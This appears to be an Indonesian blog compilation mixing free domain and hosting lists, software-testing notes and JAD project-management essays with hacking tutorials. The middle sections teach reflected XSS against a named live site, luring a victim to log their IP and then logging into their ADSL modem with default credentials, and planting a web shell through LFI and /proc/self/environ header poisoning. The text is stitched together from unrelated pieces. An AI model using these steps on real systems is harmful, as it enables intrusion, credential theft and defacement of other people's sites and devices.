Berhubung saya masih dalam hari liburan, akhirnya mau nggak mau saya melakukan browsing tapi nggak menentu arah. Eh… taunya menemukan sebuah website yang menyediakan berbagai domain gratis. Coba lihat Free Domains Box. Hebatnya adalah website ini memberikan domain menjadi milik kita, bukan meminjam, hanya dengan mengumpulkan poin untuk mendapatkannya. Untuk membuktikannya kita coba telusuri …

dan yang satunya lagi …

Lalu sekarang bagaimana caranya ???

1.Isi form registrasinya (Free Domains Box)

2. Buka e-mail kamu, lalu klik link dari Free Domains Box

3. Log in

4. Kumpulkan point sebanyak banyaknya untuk mendapatkan domain kamu

Oke, selamat mencoba.

link : http://www.ilmuwebsite.com/domain-gratis/cara-mendapatkan-domain-gratis

Baiklah perkenalkan nama saya Akai, saya masih baru menjadi penulis di ilmuwebsite.com. Saya ingin sekali berbagi ilmu yang saya miliki melalui artikel ini. Berbekal dari banyaknya orang mencari hosting-hosting bagus sekaligus free dan no ads sehingga saya merasa berkewajiban untuk membahas 19 tempat hosting yang fitur nya lumayan bagus. Oke, di bawah ini adalah daftar free hosting yang memiliki kualitas lumayan.

1. PHPNet.us

Space 350MB space, 15GB bandwidth, No banner

Didukung control panel menggunakan Vista Panel, MySQL, PHP, FTP, Free subdomain (username.phpnet.us). Cocok digunakan untuk e-commerce shop, galeri foto pribadi atau sistem bisnis manajemen konten. Dari tampilan halaman bagian bawah situs ini, Anda akan menemukan banyak sekali hosting gratisan yang serupa dengan PHPNet.us

2. DotEasy.com

Space 100 MB, Bandwidth 1000 MB, No banner

Host Paket hosting gratis di situs ini mendukung Microsoft FrontPage dan Dreamweaver. Juga menyediakan layanan yang lengkap, seperti Website Builder, Blog, Gallery dan WebForum.

3. AgilityHoster.com

Space 200 MB, Bandwidth 5 GB, No Banner

Hostingan ini mendukung PHP, Perl, CGI dan MySQL, 5 account email khusus website anda dan banyak lagi.

4. HyperPHP.com

Space 250 MB, Bandwidth 6 GB, No banner

Tampilan situs ini mirip dengan My-PHP.net, mungkin saja mereka pernah satu jurusan di perkuliahan. Bahkan Kuota dan Fitur pun menyerupai My-PHP.net. Jika Anda pernah mencoba layanan My-PHP.net, seperti itulah kualitas layanan yang diberikan HyperPHP.com.

5. IfastNet.com

Space 300 MB, Bandwidth 6 GB, No banner

Hostingan ini patut dicoba, layanannya lumayan bagus. Support FTP account, Unlimited POP email accounts, Fantastico type installer, VistaPanel Control Panel, 5 MySQL databases.

6. IpowerHosts.com

Space 25 MB, Bandwidth 2 GB, No banner

Support email gratis berbasis web, data backup gratis, control panel web, guest book, file manager, online website builder dan banyak lagi.

7. FreeServers.com

Space 50 MB, Bandwidth 1 GB, No banner

Layanan hostingan ini lumayan bagus. Belum banyak netter indonesia yang mengenal hostingan ini, mungkin karena fitur-fiturnya yang kurang lengkap. Seperti tidak didukungnya fitur FTP Access dan blog Wordpress Script.

8. JustFreeHost.com

Space 100 MB, Bandwidth 1 GB, No banner

Sebanyak 120 ribu subdomain telah tercipta dari situs ini, layanannya belum kami ketahui karena kami belum pernah mencobanya. Tapi, tak ada salahnya jika Anda mencoba layanan hostingan ini. Menurut informasi dari “mbah Google” JustFreeHost.com kurang menarik untuk dijadikan hostingan situs resmi, lebih asyik jika hanya dimanfaatkan untuk latihan membuat situs, walhasil… banyak dari situs-situs koleksi JustFreeHost.com terlantar dan tidak dihiraukan.

9. GetFreeHosting.co.uk

Space 300 MB, Bandwidth 10 GB, No banner

Ni salah satu hostingan terbaik dengan fitur paling banyak dari standar hosting gratisan, Anda bisa menikmati layanan Auto Script yang lengkap dan mendukung Joomla, Vista Panel, Full ht.access, Monitor websites, Full FTP Access, Blog, forum, Layanan 24 Jam with Live chat dan Free Bonus Extras.

10. FreeHosty.com

Space 300 MB, Bandwidth 10 GB, No banner

Fitur yang akan Anda dapatkan dari hostingan ini : Vista Panel, Web mail, PHP Flags manager, POP email accounts, 7 MySQL databases, Automatic installer (29 scripts), Password protected folders, 5 Add-on domains, FTP account, Php MyAdmin, 5 Sub domains, File manager (browser upload)

11. FreeHostPage.com

Space Unlimitted, Bandwidth Unlimitted, no banner,

Hosting gratisan yang ini memang menghebohkan, menyediakan layanan serba unlimitted, udah gitu tanpa banner. Syaratnya, anda Cuma diharuskan memiliki domain.com, selain domain.com anda tidak bisa menggunakan layanan hostingan gratisan ini.

12. MorganHosting.co.cc

Space MB , Bandwidth 1027 MB, No banner

Salah satu hosting gratisan terbaik milik indonesia. Kami sudah pernah mencoba layanan hostingan ini. Yang patut di acungi jempol adalah control panelnya menggunakan Vista Panel. Tapi sayang, agak lemot saat login ke control panelnya, mungkin akibat dari banner-banner iklan yang banyak ditampilkan di control panel.

13. OxyHost.com

Space 5 GB, Bandwidth 100 GB, no banner

Ni hostingan tergolong masih baru, baru berdiri tahun 2008. Tapi jangan salah sangka, walaupun masih baru berdiri di tahun 2008, hostingan ini menjadi menarik dengan tersedianya ht.access bagi para reseller mania. Agak sulit memang mencari hostingan gratis yang tersedia layanan ht.access. Untuk mendapatkan hosting gratisan OxyHost.com, sebelumnya anda diharuskan menjadi member OxyTown.com. Setelah mendaftar menjadi member, kemudian Anda akan diberikan no keanggotaan. No tersebut berguna saat mengisi formulir pendaftaran OxyHost.com. Bagi yang tidak mengerti bahasa inggris mungkin akan kesulitan mencari letak no keanggotaan tersebut. Agak tersembunyi di antara Postingan Forum.

14. Fusedtree.com

Space 20 GB, Bandwidth 200 GB, no banner

Ada lagi layanan hostingan yang bagus, namanya Fusedtree.com, space yang besar dan bandwidth yang besar, menjadikan hostingan ini faforit di luar negri (selain negara indonesia tentunya). Tapi, sayangnya Fusedtree.com terlihat kurang profesional, terbukti dari email layanannya yang masih menggunakan google mail.

15. FreeHostingz.com,

Space 10 GB, Bandwidth 100 GB, No banner

Memiliki fitur PHP 5, SQL support, Installer Script, Free web statistic, Website Builder instant activation, dan lain-lain.

16. T35.com

Space Unlimitted, Bandwidth Unlimitted, No banner

Ini juga layanan hostingan serba Unlimitted, entah kenapa banyak yang berminat menggunakan hosting gratisan ini. Layanannya lumayan baik. Beberapa pengguna internet di indonesia juga lumayan banyak menggunakan layanan situs ini, tapi tak sedikit pula yang kemudian menelantarkan account mereka. Kebanyakan para netter menggunakan situs ini untuk coba-coba.

17. FreeWeb7.com

Space 7 GB, Bandwidth 100 GB, No banner

Layanan dari hostingan ini cukup baik, keluhan Anda siap dilayani selama 7×24 jam.

18. Bplaced.net

Space 2GB, Bandwidth Unlimitted, No banner

Layanan hostingannya terlihat lebih profesional. Anda bisa mencobanya. Situs ini dilengkapi fitur PHP5, FTP access, MySQL & PostgreSQL, dan 2 pilihan gratisan lainnya dengan layanan yang berbeda.

19. Quotaless.com

Space Unlimitted, Bandwidth Unlimitted, No banner

Situs dengan Layanan Unlimitted pertama kali di internet ini lumayan banyak peminatnya (selain pengguna internet di indonesia). Tapi sayang, layanannya kurang memuaskan. Anda memang mendapatkan layanan Unlimitted, tapi anda tidak bisa meng-upload file ke control panel “file manager”. Lalu apa gunanya layanan unlimitted???

Jika Anda berminat dan ingin menggunakan layanan situs ini, setelah memiliki account, Anda tidak perlu lagi meng-upload file-file milik anda, cukup menggunakan Fantastisco Auto Installer, dan kemudian install tampilan situs yang Anda inginkan.

link : http://www.ilmuwebsite.com/hosting-gratis/19-tempat-hosting-dan-subdomain-gratis

Mungkin anda yang akrab dengan dunia internet pernah men dengar istilah SQL Injection, XSS atau Cross Site Scripting. 2 kelemahan atau vulnerability pada sebuah website yang kerap kali dimanfaatkan oleh para cracker untuk menjalankan aksinya. Yang konon katanya, XSS ini juga di temukan oleh Mas Dani [ XNUXER Laboratory ] ketika melakukan pen-test situs KPU.go.id beberapa tahun lalu. XSS pun bisa digunakan untuk mencuri cookies, sehingga seorang cracker bisa menggunakan identitas orang lain dengan menggunakan cookies hasil curian. XSS biasanya digunakan oleh newbie hacker yang tidak memiliki explo untuk menjalankan aksi ilegalnya.

Maksudnya apaan sih, nggak ngerti !
Singkat cerita, metode XSS dan SQL Injection digunakan untuk melakukan deface pada sebuah website. Istilah familiarnya “nge-hack website” walaupun pada kenyataannya deface itu tidak sama dengan hacking. Deface sendiri memiliki arti, merusak sebagian atau keseluruhan dari isi website.

Caranya gimana ???
Caranya nggak susah-susah amat, anda hanya perlu menggunakan browser anda untuk memanfaatkan vuln ini. Contoh situs yang masih bisa di XSS adalah :

http://www.malesbanget.com/kamus/definisi.php?kata=

untuk mengetes apakah situsnya masih bisa di XSS anda bisa menambahkan setelah kata=

http://www.malesbanget.com/kamus/definisi.php?kata=

kemudian tekan enter …
kemudian akan muncul popup baru berisi ‘Tes, XSS-nya masih bisa’

Terus … ???
Masih banyak tag html yang bisa kita gunakan, tanya deh mamang Google.

contoh lainnya adalah :

http://www.malesbanget.com/kamus/definisi.php?kata=

Hacked by Me

Sebenarnya sudah lama sekali telkom mengadakan diskon besar-besaran untuk meraih pelanggan sebanyak-banyaknya. Udah dulu promosinya.

Sama dengan bug-bug yang lainnya, konfigurasi default akan membuat pihak luar yang tidak diinginkan seperti cracker dengan mudah mengeksploitasi secara besar-besaran sehingga memanen username dan password menjadi sesuatu yang memungkinkan sekali untuk dilakukan. Contoh bug yang buruk, yaitu username default dan password yang default.

Sebelum ngejabarin masalah teknisnya, berikut alat-alat yang diperlukan :

Browser Internet ( mau yang banyak bugnya, maupun yang sedikit bugnya )

Website dengan log system flat file ( diambil dari artikelnya Anggi J. )

Aplikasi Instant Messaging, ex : Yahoo Messenger ( Social Engineering )

Internet Password Asterisk Reveal

( http://www.nsauditor.com/freeware/downloads/IEAstRecover.exe )

Langkah Pertama

Silahkan anda baca artikel http://www.ilmuwebsite.com/detil_php_tutorial/2/_Membuat_System_LOG_dengan_FLAT_FILE/
, cara memasang log system flat file. Digunakan untuk mendapatkan alamat ip dari sang korban.

Langkah Ke Dua

Inti dari artikel ini adalah pencarian user yang akan dijadikan korban. Anda bisa menggunakan aplikasi IRC ataupun instant messaging yang lainnya. Alangkah baiknya anda menggunakan aplikasi IRC, seperti mIRC ataupun yang lainnya, karena fasilitas whois yang ada didalamnya mempermudah kita untuk segera mengetahui IP sang korban, tapi pada beberapa kasus, adakalanya user yang advanced menggunakan anonymous proxy yang tentunya menyembunyikan IP asli miliknya. Sehingga perlu teknik social engineering yang lebih ampuh lagi. Berikut ada sedikit percakapan antara seseorang sebagai intruder dengan sang korban menggunakan aplikasi yahoo messenger :

Mamang (intruder) : dah liat situs ini belom, ilmuwebsite.com ???

Sang_korban : apaan tuh ?

Mamang (intruder ) : situs keren punya orang keren, ngebahas tentang berbagai artikel mengenai kekerenan. Coba deh liat.

Sang_korban : coba, gw liat dulu. # kena!!

Mamang ) intruder ) : gimana keren kan ? eh, gw off dulu yah. C U

Situs ilmuwebsite.com tersebut, merupakan sebuah contoh situs yang anda gunakan untuk merecord ip sang korban. Anda bisa memasang log system flat file pada situs milik anda. Dengan mengusahakan sang korban tertarik untuk mengunjungi situs yang telah dipasang log system flat file.

Contoh IP yang sudah dilog dalam flat file,

Waktu: Fri, 06 Jul 2007 12:47:04 +0700 | IP asli: 125.161.2.85 | Browser: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90) | URL: / | Referrer: | Proxy: | Koneksi:

Langkah Ketiga

Setelah mendapatkan alamat ip sang korban, yang perlu anda lakukan adalah membuka browser, kemudian pada address bar isi dengan alamat ip yang telah anda dapatkan, sebagai contoh yang saya dapatkan adalah http://125.160.#.# isikan username dengan admin dan passwordnya admin. Jika anda beruntung, anda akan langsung dihadapkan kepada halaman username ADSL dan tentunya password yang asterisk. Untuk membuka password yang asterisk, anda cukup menggunakan Internet Password Asterisk Reveal.

Penanganan

Sebenarnya dengan mengganti password yang default pun itu sudah bisa mencegah teknik seperti ini. Dan intinya password yang kuatlah yang susah untuk dimanfaatkan. Password yang kuat ini memiliki lebih dari 8 digit, dan merupakan gabungan dari angka huruf dan special character. Ex: ilmVw3851te –> bentuk lain dari ilmuwebsite

Sayangnya, telkom telah menerapkan system yang unique, sehingga account speedy tidak bisa digunakan pada jaringan telepon yang berbeda. Dan tentunya anda tidak bisa men-take over account yang sudah didapatkan. Mohon Maaf, artikel ini hanya sebagai contoh pembelajaran.

Default password untuk setiap modem :

http://www.elitehackers.info/defaultpasslist.php

// Greetz :

Special for mylovely, terima kasih infonya, ide-nya jadi makin bertambah.

Bscorpio, phii, dan ryuzaki, ninjaring, barudak STTTelematika Ciawi Bogor.

Fel_c, Mentari^, Abang Dennis the Manace

Allguys Echo Member, #khilafah, pepei dwipangga dan konco-konconya di liberationyouth.com, anak-anak saveusgue

Dalam tutorial hacking kali ini saya akan coba mengimplementasikan bagaimana membuat shell pada target server lewat LFI dengan metode proc/self/environ, hal ini telah dibahas sebelumnya di website milw0rm pada paper ke 361.
Ok kita langsung saja…

1. Hal yang pertama dilakukan seperti teknik-teknik lainnya adalah kita terlebih dahulu coba temukan website yang vulnerable terhadap serangan LFI.

contoh : http://site.com/info.php?file=news.php

2. coba kita ganti “news.php” dengan “../../../”.

contoh : http://site.com/info.php?file=../../../

lalu kita mendapat error, seperti berikut…

Warning: include(../../../) [function.include]: failed to open stream: No such file or directory in /home/gunslinger/public_html/info.php on line 99

ok sepertinya, kita mendapat kesempatan untuk memanfaatkan include ke file lain.
selanjutanya kita coba temukan /etc/passwd.

contoh : http://site.com/info.php?file=etc/passwd
Tetapi kita masih mendapat error seperti berikut :

Warning: include(/etc/passwd) [function.include]: failed to open stream: No such file or directory in /home/gunslinger/public_html/info.php on line 99

bagaimana jika kita naikan directorynya ?
mari kita coba…

contoh : http://site.com/info.php?file=../../../../../../../../../etc/passwd

Ahoi, kita berhasil mendapatkan file /etc/passwd yang terlihat seperti berikut :

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:102::/home/syslog:/bin/false
klog:x:102:103::/home/klog:/bin/false
hplip:x:103:7:HPLIP system user,,,:/var/run/hplip:/bin/false
avahi-autoipd:x:104:110:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
gdm:x:105:111:Gnome Display Manager:/var/lib/gdm:/bin/false
saned:x:106:113::/home/saned:/bin/false
pulse:x:107:114:PulseAudio daemon,,,:/var/run/pulse:/bin/false
messagebus:x:108:117::/var/run/dbus:/bin/false
polkituser:x:109:118:PolicyKit,,,:/var/run/PolicyKit:/bin/false
avahi:x:110:119:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
haldaemon:x:111:120:Hardware abstraction layer,,,:/var/run/hald:/bin/false
gunslinger:x:1000:1000:gunslinger_,,,:/home/gunslinger:/bin/bash
snmp:x:112:65534::/var/lib/snmp:/bin/false
guest:x:113:124:Guest,,,:/tmp/guest-home.rRZGXM:/bin/bash
sshd:x:114:65534::/var/run/sshd:/usr/sbin/nologin

3. mari kita check apakah /proc/self/environ bisa kita akses ?
sekarang, ganti “/etc/passwd” dengan “/proc/self/environ”

contoh : http://site.com/info.php?file=../../../../../../../../../proc/self/environ

Jika anda mendapatkan yang seperti ini :

DOCUMENT_ROOT=/home/gunslinger/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html,
application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif,
image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=3g4t67261b341231b94r1844ac2ad7ac
HTTP_HOST=www.site.com HTTP_REFERER=http://www.site.com/index.php?view=../../../../../../etc/passwd
HTTP_USER_AGENT=Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.15) Gecko/2009102815 Ubuntu/9.04 (jaunty) Firefox/3.0.15
PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665
REQUEST_METHOD= GET REQUEST_URI = /index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron
SCRIPT_FILENAME=/home/gunslinger/public_html/index.php SCRIPT_NAME=/index.php
SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=gunslinger@site.com SERVER_NAME=www.site.com
SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/2.2.11 (Unix) DAV/2 mod_ssl/2.2.11 OpenSSL/0.9.8k
PHP/5.2.9 mod_apreq2-20051231/2.6.0 mod_perl/2.0.4 Perl/v5.10.0 Server at www.site.com Port 80

Ternyata proc/self/environ dapat kita akses !
jika anda mendapatkan halaman yang kosong (blank) /proc/self/environ tidak dapat di akses atau mungkin juga beroperating system *BSD

4. Sekarang mari kita injeksi dengann malicious kode dengan meracuni http-headernya . bagaimana kita bisa menginjeksinya? kita bisa menggunakan tamper data pada firefox addon.
dapat anda download disini : https://addons.mozilla.org/en-US/firefox/addon/966
buka tamper data di firefox lalu masukan url /proc/self/environ yang tadi “http://site.com/info.php?file=../../../../../../../../../proc/self/environ”
lalu pada user-agent isikan dengan kode berikut :

atau

lalu submit.

5. jika kita berhasil menginjeksi malicious kode berikut, maka shell akan ada di tempat seperti ini.

http://www.site.com/shell.php

happy hacking !

link : http://www.ilmuwebsite.com/tutorial-hacking/tanam-shell-lfi-metode-procselfenviro

Pengujian black-box berfokus pada persyaratan fungsional PL. Pengujian
inimemungkinkan analis system memperoleh kumpulan kondisi input yg
akan mengerjakan seluruh keperluan fungsional program.
Tujuan metode ini mencari kesalaman pada:
· Fungsi yg salah atau hilang
· Kesalahan pada interface
· Kesalahan pada struktur data atau akses database
· Kesalahan performansi
· Kesalahan inisialisasi dan tujuan akhir
Metode ini tidak terfokus pada struktur kontrol seperti pengujian whitebox
tetapi pada domain informasi.

Pengujian dirancang untuk menjawab pertanyaan sbb:
· Bagaimana validitas fungsional diuji?
· Apa kelas input yg terbaik untuk uji coba yg baik?
· Apakah sistem sangat peka terhadap nilai input tertentu?
· Bagaimana jika kelas data yang terbatas dipisahkan?
· Bagaimana volume data yg dapat ditoleransi oleh sistem?
· Bagaimana pengaruh kombinasi data terhadap pengoperasian
system?

Uji coba white box adalah metode perancangan test case yang
menggunakan struktur kontrol dari perancangan prosedural untuk
mendapatkan test case. Dengan rnenggunakan metode white box, analis
sistem akan dapat memperoleh test case yang:
· menjamin seluruh independent path di dalam modul yang dikerjakan
sekurang-kurangnya sekali
· mengerjakan seluruh keputusan logikal
· mengerjakan seluruh loop yang sesuai dengan batasannya
· mengerjakan seluruh struktur data internal yang menjamin validitas

Pengujian PL adalah elemen kritis dari jaminan kualitas PL dan
merepresentasikan spesifikasi, desain dan pengkodean.
Meningkatnya visibilitas PL sbg suatu elemen sistem dan "biaya” yg muncul
akibat kegagalan PL, memotivasi dilakukan perencanaan yg baik melalui
pengujian yg teliti.
Dalam melakukan uji coba ada 2 masalah penting yang akan dibahas, yaitu :
A. Teknik uji coba PL
B. Strategi uji coba PL
TEKNIK UJI COBA PL
Pada dasarnya, pengujian merupakan suatu proses rekayasa PL yg dapat
dianggap (secara psikologis) sebagai hal yg destruktif daripada
konstruktif.
SASARAN PENGUJIAN (Glen Myers) :
1. Pengujian adalah proses eksekusi suatu program dengan maksud
menemukan kesalahan.
2. Test case yg baik adalah test case yg memiliki probabilitas tinggi
untuk menemukan kesalahan yg belum pernah ditemukan sebalumnya.
3. Pengujian yg sukses adalah pengujian yg mengungkap semua
kesalahan yg belum pernah ditemukan sebelumnya.
PRINSIP PENGUJIAN (diusulkan Davis) :
· Semua pengujian harus dapat ditelusuri sampai ke persyaratan
pelanggan.
· Pengujian harus direncanakan lama sebelum pengujian itu dimulai.
· Prinsip Pareto berlaku untuk pengujian PL. Prinsip Pareto
mengimplikasikan 80% dari semua kesalahan yg ditemukan selama
pengujian sepertinya akan dapat ditelusuri sampai 20% dari semua
modul program.
· Pengujian harus mulai "dari yg kecil" dan berkembang ke pengujian
"yang besar".
· Pengujian yg mendalam tidak mungkin.
· Paling efektif, pengujian dilakukan oleh pihak ketiga yg independen.

Dua macam pendekatan test yaitu :
1. Black Box Testing
Test case ini bertujuan untuk menunjukkan fungsi PL tentang cara
beroperasinya, apakah pemasukan data keluaran telah berjalan
sebagaimana yang diharapkan dan apakah informasi yang disimpan
secara eksternal selalu dijaga kemutakhirannya.
2. White Box Testing
Adalah meramalkan cara kerja perangkat lunak secara rinci, karenanya
logikal path (jalur logika) perangkat lunak akan ditest dengan
menyediakan test case yang akan mengerjakan kumpulan kondisi dan
atau pengulangan secara spesifik. Secara sekilas dapat diambil
kesimpulan white box testing merupakan petunjuk untuk mendapatkan
program yang benar secara 100%.

Masalah terbesar dari implementasi SI adalah untuk mengetahui kebutuhan dari user, apalagi dengan karakter proyek :

• Sistem yang melibatkan multi-organisasi/divisi (penggunanya dari beberapa role dan divisi)
• Bisnis proses yang kompleks
• Kebutuhan yang sangat spesifik dan customized.

Dengan karakter proyek yang semacam ini, tidak cukup bagi seorang system analyst (SA) menentukan kebutuhan hanya dengan teknik wawancara, observasi ataupun kuesioner. Banyak kasus ditemui, bahwa pada akhirnya apa yang kita dapatkan dari proses analisa kebutuhan di awal proyek, tidak match dengan kebutuhan sesungguhnya dari pengguna sistem, sehingga sistem akhirnya tidak dapat digunakan dengan baik. Masalah lain adalah di sisi waktu. Teknik-teknik seperti itu seringkali sangat time consuming, sangat membutuhkan waktu yang lama. Sering juga tim developer dihadapkan situasi bahwa tidak semua stakeholder proyek memiliki kepedulian yang sama dengan yang lain. Seorang manajer tidak mengetahui kebutuhan detail dari staf-staf operasional, sementara itu staf operasional mungkin juga tidak memahami sepenuhnya spirit, goal dari SI. JAD merupakan sebuah teknik yang berfokus pada keterlibatan dan komitmen pengguna dalam menentukan kebutuhan dan merancang (desain) aplikasi. JAD biasanya dilakukan dalam bentuk tim yang merupakan gabungan dari seluruh stakeholder proyek, yang bekerja dalam bentuk workshop-workshop atau forum diskusi.

Kenapa workshop ? karena teknik JAD ini bukanlah sekedar rapat-rapat, yang biasa dilakukan dalam sebuah proyek dan melibatkan seluruh stakeholder proyek. JAD adalah tim yang nantinya akan membuat rancangan dan mengawasi, memonitor bersama jalannya proyek.

Siapa yang perlu terlibat ?
Secara garis besar yang perlu terlibat adalah :

1. Sponsor. Sponsor ini berarti project owner, memiliki kedudukan yang cukup tinggi dalam organisasi dan sebagai pengambil keputusan tertinggi dalam pengelolaan sistem informasi. Satu hal yang penting dilakukan oleh seorang project owner adalah komitmen yang kuat akan implementasi SI yang dilakukan. Without the executive sponsor's commitment, people do not show up for workshops on time or sometimes at all. Schedules change and projects are delayed. In short, without an executive sponsor, there is no project!

2. Business Users. Business User ini terdiri dari 2 jenis, yaitu real end user dan representative end user. Real end user adalah person yang melakukan pekerjaan real di lapangan. Dalam kasus, ini adalah operator-operator. Sedangkan representative end user adalah person yang mengetahui seharusnya bisnis proses itu dilakukan, memahami spirit dan goal dari sistem yang dikelolanya. Biasanya ini adalah kepala bagian, manajer, atau operator senior.

3. System Analyst (Tim Developer). Person/tim ini yang akan in-charge dari sisi teknologi dan proses engineeringnya.

4. System Experts. Tidak semua referensi mencantumkan peran ini. Perannya lebih seperti konsultan yang memahami seluk beluk bisnis proses dari sisi konseptual dan berbasis pengalaman.

5. Facilitator. Seorang fasilitator berfungsi sebagai moderator dan mengarahkan setiap aktivitas JAD yang melibatkan banyak pihak, untuk menjadi efektif. Seorang fasilitator harus memiliki kecakapan yang baik dalam berkomunikasi, memberikan stimulus-stimulus dan trik-trik agar diskusi bisa berjalan dengan baik.

Tentu saja, setelah penyusunan tim JAD, diperlukan strategi yang tepat dalam melakukan workshop-workshop, sehingga proses dilakukan lebih efektif. Yang jelas, teknik ini sudah terbuktif efektif dalam menyelesaikan masalah-masalah implementasi SI.

Enterprise system adalah sistem berbasis software untuk membantu pengelolaan sistem informasi pada suatu organisasi dengan skala besar. Skala besar berarti volume transaksi yang besar, concern terhadap kualitas informasi yang tinggi, mengintegrasikan berbagai proses bisnis, lintas bidang (horisontal) maupun lintas strata (vertikal). Contoh dari ES adalah ERP (Enterprise Resource Planning) atau e-Business secara umum, e-Government, dan ingrated software lainnya.

Mengimplementasikan ES tidak mudah, atau setidaknya memilki strategi yang berbeda dengan sistem lain yang terbatas ruang lingkupnya, penggunanya dan tidak terpadu. Implementasi di sini bermakna bahwa software telah dapat digunakan dan bisa memberikan value bagi penggunanya sesuai tujuan pemanfaatan software tsb. Implementasi ini bisa dilakukan secara internal organisasi (oleh divisi IT/MIS) atau dengan pihak eksternal dalam kerangka proyek dan terikat legalitas berbentuk kontrak.

implementator sebagai pihak eksternal yang melakukan implementasi dan klien sebagai organisasi yang diimplementasikan softwarenya.

Implementasi ES berbeda dengan implementasi software berskala kecil atau yang penggunanya tunggal seperti MS Word, Database Rental VCD atau website, meskipun produknya sama-sama software yang berjalan di atas server dan membutuhkan konektivitas. Tentu nanti ada strategi yang berbeda, metode pemilihan bahan yang berbeda, tahapan yang berbeda, standar-standar tertentu, dst. Demikian pula dalam konteks software, bisa dipilah berdasar cakupan penggunaannya, bisa dilihat juga dari jenisnya (generik dan customized), yang masing-masing punya strategi implementasi yang berbeda. SE berkaitan dengan pengelolaan sistem informasi, yang tidak hanya bicara teknologi saja, tapi berkaitan dengan proses bisnis, struktur organisasi dan manusianya.

Pola pikir ”developer” adalah menganggap suatu problem bisa selesai dengan solusi berbasis software yang baik dan tepat. Tapi apakah cukup seperti itu? Dalam membangun solusi, ya itu cukup, tapi belum tentu menjamin kesuksesan implementasi. Pola pikir developer cenderung berfokus pada analisis dan development tidak pada implementasinya. Padahal sukses tidaknya proyek software, baik buruknya reputasi implementator, seringkali orang luar melihat pada keberhasilan implementasinya dan value yang didapatkan klien. ES untuk organisasi dengan puluhan divisi, ribuan orang, puluhan kepentingan, dan mungkin ratusan konflik. Apalagi jika software yang kita implementasikan bukan sekedar supporting tools tapi adalah core dari bisnis itu sendiri (konsep e-business). Cara implementasi dengan pola pikir seperti ini hanya akan menghasilkan solusi dan software yang bagus, tapi tidak optimal dan memberikan value untuk organisasi tsb, atau bahkan malah tidak pernah akan digunakan.

Implementator tidak bisa memposisikan diri sebagai project manager pada sebuah proyek yang berkaitan langsung dengan proses bisnis internal klien. Seorang project manager harus mampu mengelola semua resource berkaitan dengan proyek. Kadang kita tidak menyadari bahwa sebagaian besar resource dari proyek software justru berada di sisi organisasi klien. Sementara, project manager seharusnya memiliki akses ke seluruh resource tersebut, karena jika tidak, itu bukan project manager namanya.

Dalam kasus ini, maka project manager seharusnya justru berada di sisi klien, bukan implementator. Akan sia-sia jika aktivitas project planning, project controlling dsb sepenuhnya dilakukan oleh implementator, sementara klien hanya ”tahu beres” saja. Pada akhirnya aktivitas-aktivitas project management tsb hanya akan menghasilkan berkas-berkas dan dokumen administratif saja, yang pada kenyataannya tidak pernah dilaksanakan.

Peran yang paling pas untuk implementator adalah sebagai konsultan. Tugas utama dari konsultan adalah memberikan informasi, mendampingi, memfasilitasi dan menjadi motor ”behind the screen”. Tentu saja jika kontraknya melibatkan pengadaan software, konsultan juga akan melakukan development atau implementasi secara teknis, namun implementasi keseluruhannya harus dipimpin oleh klien sendiri melalui project manager. Jika klien tidak memiliki pengetahuan yang cukup untuk mengelola proyek software, itulah tugas konsultan untuk mendampinginya, sehingga proses project planning, control, evaluation, dst sepenuhnya akan berasal dari ide-ide, komitmen dan effort dari klien sendiri.

Tugas konsultan adalah memfasilitasi dan mengarahkannya. Model seperti ini yang kemudian memunculkan teknik JAD (Joint Application Design), yang intinya adalah melibatkan dan kolaborasi seluruh stakeholder proyek. salah satu fase dalam implementasi sistem adalah fase transisi, yang pasti akan menuntut perubahan baik kecil maupun besar. Adanya sistem baru, mau tidak mau akan merubah proses bisnis. Perubahan proses bisnis berarti perubahan cara kerja, alur kerja dan bahkan budaya kerja. Perubahan ini menyangkut aspek people dan proses bisnis, sehingga dikenal konsep change management.

Dalam eksekusinya, change ini harus dipimpin dan dimanage oleh leader di internal organisasi. Yang jelas seorang konsultan tidak hanya dituntut memiliki pengetahuan tentang software engineering dan hal-hal teknis, dan juga tidak cukup ditambah dengan pengalaman dan keterampilan project management, namun konsep dan bestpractice tentang change management, communication skill yang excellent sangat diperlukan.

JAD (Joint Application Development/Design) sebagai salah satu teknik manajemen dalam mengimplementasikan sebuah sistem informasi (SI) dalam konteks proyek. porsi terbesar dan terumit dari proses implementasi SI adalah justru pada proses transisinya, karena terkait banyak aspek tidak hanya di sisi teknologi tapi harus memahami sisi sosial, manajerial dan SDM.

